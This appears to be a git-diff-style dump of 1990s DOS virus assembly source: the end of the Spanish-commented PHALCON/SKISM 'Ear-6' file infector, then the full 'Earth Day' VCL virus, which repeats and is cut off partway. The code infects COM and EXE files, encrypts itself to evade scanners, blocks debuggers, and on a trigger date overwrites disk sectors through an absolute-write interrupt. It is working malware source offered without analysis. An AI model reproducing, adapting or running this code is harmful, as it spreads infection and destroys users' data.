||||
; mensaje
|
||||
cmp al, byte ptr [bx] ; ¨Es correcta?
|
||||
jz saltarapidamente ; <20>l aprueba el examencito.
|
||||
; Pues, salta r pidamente.
|
||||
lea dx, [bp+suspendido] ; Lo siento, pero Ud. no
|
||||
int 21h ; aprueba el examencito f cil!
|
||||
|
||||
mov ah, 4ch ; Estudie m s y el programa
|
||||
jmp quite ; permitir a Ud a continuar.
|
||||
|
||||
saltarapidamente:
|
||||
lea dx, [bp+aprueba]
|
||||
int 21h
|
||||
saltarahora:
|
||||
mov ah, 1ah ; Restaura el DTA original
|
||||
mov dx, 80h
|
||||
quite:
|
||||
cmp sp, id - 4 ; ¨Es EXE o COM?
|
||||
jz vuelvaEXE
|
||||
vuelvaCOM:
|
||||
int 21h ; Restaura el DTA y vuelva
|
||||
retn ; a la ficha original de COM
|
||||
|
||||
vuelvaEXE:
|
||||
pop es
|
||||
pop ds ; ds -> PSP
|
||||
|
||||
int 21h
|
||||
|
||||
mov ax, es
|
||||
add ax, 10h ; Ajusta para el PSP
|
||||
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
|
||||
cli
|
||||
add ax, word ptr cs:[bp+PilaOriginal+2]
|
||||
mov ss, ax
|
||||
mov sp, word ptr cs:[bp+PilaOriginal]
|
||||
sti
|
||||
db 0eah ; JMP FAR PTR SEG:OFF
|
||||
EXE_Donde_JMP dd 0
|
||||
PilaOriginal dd 0
|
||||
|
||||
EXE_Donde_JMP2 dd 0
|
||||
PilaOriginal2 dd 0
|
||||
|
||||
infectar_mascara:
|
||||
mov ah, 4eh ; Busca la ficha primera
|
||||
mov cx, 7 ; Cada atributo
|
||||
brb_brb:
|
||||
int 21h
|
||||
jc hasta_la_vista_bebe ; No la busca
|
||||
|
||||
xor al, al
|
||||
call abrir ; Abre la ficha
|
||||
|
||||
mov ah, 3fh
|
||||
mov cx, 1ah
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ah, 3eh ; Cierra la ficha
|
||||
int 21h
|
||||
|
||||
lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
|
||||
lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
|
||||
mov cx, 9 ; creaci¢n
|
||||
rep movsb
|
||||
|
||||
cmp word ptr [bp+buffer], 'ZM' ; ¨Es EXE o COM?
|
||||
jz buscaEXE
|
||||
buscaCOM:
|
||||
mov ax, word ptr [bp+f_long] ; ¨Cuan grande es la ficha?
|
||||
sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
|
||||
cmp ax, word ptr [bp+buffer+1] ; ¨Ya es infectada?
|
||||
jnz infecta_mi_burro ; "infect my ass"
|
||||
jmp short BuscaMas
|
||||
buscaEXE:
|
||||
cmp word ptr [bp+buffer+10h], id
|
||||
jnz infecta_mi_burro
|
||||
BuscaMas:
|
||||
mov ah, 4fh ; Busca otra ficha...
|
||||
jmp short brb_brb
|
||||
hasta_la_vista_bebe: ; ¨Le gusta Arnold?
|
||||
ret
|
||||
|
||||
infecta_mi_burro:
|
||||
; AX = longitud de la ficha infectada
|
||||
lea si, [bp+buffer]
|
||||
|
||||
cmp word ptr [si], 'ZM'
|
||||
jz InfectaEXE
|
||||
InfectaCOM:
|
||||
push ax
|
||||
|
||||
mov cx, word ptr [bp+tempo]
|
||||
mov word ptr [bp+remendar1+1], cx
|
||||
|
||||
lea di, [bp+Primer3]
|
||||
movsb
|
||||
push si
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+buffer], 0e9h
|
||||
pop di
|
||||
add ax, longitud_del_virus
|
||||
stosw
|
||||
|
||||
mov cx, 3
|
||||
jmp short TerminaInfeccion
|
||||
InfectaEXE:
|
||||
les ax, [si+14h] ; Salva el original empieza
|
||||
mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
|
||||
mov word ptr [bp+EXE_Donde_JMP2+2], es
|
||||
|
||||
les ax, [si+0Eh] ; Salva la original locaci¢n
|
||||
mov word ptr [bp+PilaOriginal2], es ; de la pila
|
||||
mov word ptr [bp+PilaOriginal2+2], ax
|
||||
|
||||
mov ax, word ptr [si + 8]
|
||||
mov cl, 4
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset nuevoDTA+26]
|
||||
mov dx, es
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx
|
||||
sbb dx, 0
|
||||
|
||||
mov cx, 10h
|
||||
div cx
|
||||
|
||||
mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
|
||||
mov word ptr [si+16h], ax
|
||||
|
||||
mov cl, 4
|
||||
shr dx, cl
|
||||
add ax, dx
|
||||
mov word ptr [si+0Eh], ax ; y SS:SP
|
||||
mov word ptr [si+10h], id
|
||||
|
||||
pop dx ; Restaura el magnitud de
|
||||
pop ax ; la ficha
|
||||
|
||||
add ax, longitud_del_virus ; A¤ada el magnitud del virus
|
||||
adc dx, 0
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1
|
||||
|
||||
mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
|
||||
mov word ptr [si+2], ax
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax, word ptr [si+14h]
|
||||
sub ax, longitud_del_virus + offset Empezarvir
|
||||
push ax
|
||||
|
||||
mov cx, 1ah
|
||||
TerminaInfeccion:
|
||||
mov al, 2
|
||||
call abrir
|
||||
|
||||
mov ah, 40h
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h
|
||||
xor cx, cx
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah, 2ch ; N£meros azados en CX y DX
|
||||
int 21h
|
||||
mov word ptr [bp+remendar3+2], cx ; Es el nuevo n£mero de la
|
||||
; cifra
|
||||
and cx, 31 ; Pone un n£mero azado para el
|
||||
add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
|
||||
; eso, los scanners necesitan
|
||||
mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
|
||||
lea di, [bp+longitud_del_escribir]
|
||||
mov al, 53h ; push bx
|
||||
stosb ; (no destruir el mango de la
|
||||
; ficha)
|
||||
lea si, [bp+shwing] ; Copia las instrucciones
|
||||
push si ; para formar la cifra
|
||||
mov cx, longitud_de_la_cifra
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
mov al, 5bh ; pop bx
|
||||
stosb ; (recuerda mango de la ficha)
|
||||
|
||||
lea si, [bp+escribir] ; Copia las instrucciones
|
||||
mov cx, longitud_del_escribir ; para a¤ada el virus a la
|
||||
rep movsb ; ficha
|
||||
|
||||
mov al, 53h ; push bx
|
||||
stosb
|
||||
|
||||
pop cx ; Copia las instrucciones
|
||||
pop si ; para invalidar la cifra
|
||||
rep movsb
|
||||
mov ax, 0c35bh ; pop bx, retn
|
||||
stosw
|
||||
|
||||
pop ax
|
||||
|
||||
; Codo del comienzo de la cifra
|
||||
add ax, offset EmpezarCifra + longitud_del_virus
|
||||
mov word ptr [bp+remendar1+1], ax
|
||||
|
||||
call antes_del_tempstore
|
||||
|
||||
mov ax, 5701h ; BX = mango de la ficha
|
||||
mov dx, word ptr [bp+f_fecha]
|
||||
mov cx, word ptr [bp+f_hora]
|
||||
int 21h ; Restaura fecha y hora
|
||||
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
xor ch, ch
|
||||
mov cl, byte ptr [bp+f_atrib]
|
||||
mov ax, 4301h
|
||||
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
|
||||
int 21h
|
||||
|
||||
inc byte ptr [bp+numinf]
|
||||
|
||||
jmp BuscaMas
|
||||
|
||||
Primer3 db 0CDh, 20h, 0
|
||||
puntos db '..',0
|
||||
mascara1 db '*.EXE',0
|
||||
mascara2 db '*.COM',0
|
||||
|
||||
abrir: mov ah, 3dh ; Abrir un ficha
|
||||
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
|
||||
int 21h ; el DTA
|
||||
xchg ax, bx
|
||||
ret
|
||||
|
||||
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
|
||||
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
|
||||
oreja1 db '1','Auditory Canal$'
|
||||
oreja2 db '1','Lobe$'
|
||||
oreja3 db '2','Anvil$'
|
||||
oreja4 db '2','Eustachian Tube$'
|
||||
oreja5 db '3','Auditory Nerve$'
|
||||
oreja6 db '3','Cochlea$'
|
||||
|
||||
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
|
||||
secciones db ' located?',13,10
|
||||
db ' 1. External Ear',13,10
|
||||
db ' 2. Middle Ear',13,10
|
||||
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
|
||||
|
||||
; No es bueno.
|
||||
suspendido db 13,10,'You obviously know nothing about ears.'
|
||||
db 13,10,'Try again after some study.',13,10,'$'
|
||||
|
||||
; Espero que s¡!
|
||||
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
|
||||
db '$'
|
||||
|
||||
escribir:
|
||||
mov ah, 40h
|
||||
mov cx, TerminaVir - EmpezarVir
|
||||
lea dx, [bp+EmpezarVir]
|
||||
int 21h
|
||||
termina_escribir:
|
||||
|
||||
backslash db '\'
|
||||
|
||||
TerminaVir = $
|
||||
|
||||
; Los que sigue son en el mont¢n...
|
||||
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
|
||||
|
||||
diroriginal db 64 dup (?)
|
||||
tempo dw ?
|
||||
nuevoDTA db 43 dup (?)
|
||||
numinf db ?
|
||||
antes_del_tempstore:
|
||||
; tempstore es el buffer para el parte del programa que a¤ada el virus al fin
|
||||
; de otro programa
|
||||
; a¤ada cinco para los pop,
|
||||
; los push, y el retn
|
||||
buffer db 1ah dup (?)
|
||||
f_atrib db ? ; atributo de la ficha
|
||||
f_hora dw ? ; hora de creaci¢n
|
||||
f_fecha dw ? ; fecha de creaci¢n
|
||||
f_long dd ? ; magnitud de la ficha
|
||||
|
||||
end Empezar
|
|
@ -0,0 +1,422 @@
|
|||
; EARTHDAY.ASM -- Earth Day Virus
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Nowhere Man
|
||||
|
||||
virus_type equ 0 ; Appending Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
main proc near
|
||||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||||
start: call find_offset ; Like a PUSH IP
|
||||
find_offset: pop bp ; BP holds old IP
|
||||
sub bp,offset find_offset ; Adjust for length of host
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
lea si,[bp + buffer] ; SI points to original start
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
movsw ; Copy the first two bytes
|
||||
movsb ; Copy the third byte
|
||||
|
||||
mov di,bp ; DI points to start of virus
|
||||
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||||
int 021h
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
lea bx,[di + null_vector] ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
call get_month
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0016h ; Did the function return 22?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
call get_year
|
||||
cmp ax,07C9h ; Did the function return 1993?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
cmp ax,07CCh ; Did the function return 1996?
|
||||
jge skip00 ; If greater than or equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: lea si,[di + data00] ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
mov ax,0002h ; First argument is 2
|
||||
mov cx,0100h ; Second argument is 256
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
sti ; Restore interrupts
|
||||
|
||||
end00: xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
xchg dx,ax ; AX holds clock ticks
|
||||
mov cx,0005h ; We'll divide by 5
|
||||
cwd ; Sign-extend AX into DX:AX
|
||||
div cx ; Divide AX by CX
|
||||
or dx,dx ; Is there a remaindier?
|
||||
jne no_infection ; If there is then don't spread
|
||||
call search_files ; Find and infect a file
|
||||
no_infection:
|
||||
|
||||
com_end: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
|
||||
|
||||
db 009h,0C0h,0EEh,0D9h,0ECh
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + root] ; DX points to root directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Start the traversal
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
lea dx,[di + all_files] ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Recursively call ourself
|
||||
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + up_dir] ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
|
||||
jnc done_searching ; If we infected then exit
|
||||
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
|
||||
leave_traverse:
|
||||
lea dx,[di + com_mask] ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
traverse endp
|
||||
|
||||
db 0E0h,049h,06Ch,01Bh,06Ch
|
||||
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
db 00Ah,073h,01Fh,038h,054h
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||||
jbe size_ok ; If it's small enough continue
|
||||
jmp infection_done ; Otherwise exit
|
||||
|
||||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,3 ; CX holds bytes to read (3)
|
||||
lea dx,[di + buffer] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
xchg dx,ax ; Faster than a PUSH AX
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a POP AX
|
||||
|
||||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||||
add ax,finish - start ; Re-adjust to make the jump
|
||||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,3 ; CX holds bytes to write (3)
|
||||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||||
new_jump db 0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
|
||||
|
||||
db 0D9h,095h,0B5h,0D7h,0D0h
|
||||
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
|
||||
db 0F6h,028h,099h,0E1h,06Dh
|
||||
|
||||
get_month proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dh ; Copy month into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_month endp
|
||||
|
||||
db 071h,021h,0B4h,033h,071h
|
||||
|
||||
get_year proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
xchg cx,ax ; Transfer the year into AX
|
||||
ret ; Return to caller
|
||||
get_year endp
|
||||
|
||||
data00 db "Happy Earth Day!!!",13,10,13,10
|
||||
db "In the spirit of Earth Day, this VIRUS has recycled your hard disk.",13,10,0
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
|
||||
note db "[Earth Day]",0
|
||||
db "Nowhere Man, [NuKE] '92",0
|
||||
|
||||
encrypt_code proc near
|
||||
push bp ; Save BP
|
||||
mov bp,di ; Use BP as pointer to code
|
||||
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 9],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si + 1],8 ;
|
||||
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 11],0101h; (and vice-versa)
|
||||
|
||||
lea di,[bp + finish] ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
lea si,[bp + write_stuff] ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
lea dx,[bp + start] ; DX points to virus
|
||||
|
||||
lea si,[bp + finish] ; SI points to routine
|
||||
call si ; Encrypt/write/decrypt
|
||||
|
||||
mov di,bp ; DI points to virus again
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
|
@ -0,0 +1,330 @@
|
|||
; EARTHDAY.ASM -- Earth Day Virus
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Nowhere Man
|
||||
virus_type equ 0 ; Appending Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
main proc near
|
||||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||||
start: call find_offset ; Like a PUSH IP
|
||||
find_offset: pop bp ; BP holds old IP
|
||||
sub bp,offset find_offset ; Adjust for length of host
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
start_of_code label near
|
||||
lea si,[bp + buffer] ; SI points to original start
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
movsw ; Copy the first two bytes
|
||||
movsb ; Copy the third byte
|
||||
mov di,bp ; DI points to start of virus
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address on stack
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||||
int 021h
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
lea bx,[di + null_vector] ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
call get_month
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0016h ; Did the function return 22?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
call get_year
|
||||
cmp ax,07C9h ; Did the function return 1993?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
cmp ax,07CCh ; Did the function return 1996?
|
||||
jge skip00 ; If greater than or equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: lea si,[di + data00] ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
mov ax,0002h ; First argument is 2
|
||||
mov cx,0100h ; Second argument is 256
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
sti ; Restore interrupts
|
||||
end00: xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
xchg dx,ax ; AX holds clock ticks
|
||||
mov cx,0005h ; We'll divide by 5
|
||||
cwd ; Sign-extend AX into DX:AX
|
||||
div cx ; Divide AX by CX
|
||||
or dx,dx ; Is there a remaindier?
|
||||
jne no_infection ; If there is then don't spread
|
||||
call search_files ; Find and infect a file
|
||||
no_infection:
|
||||
com_end: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
db 009h,0C0h,0EEh,0D9h,0ECh
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + root] ; DX points to root directory
|
||||
int 021h
|
||||
call traverse ; Start the traversal
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
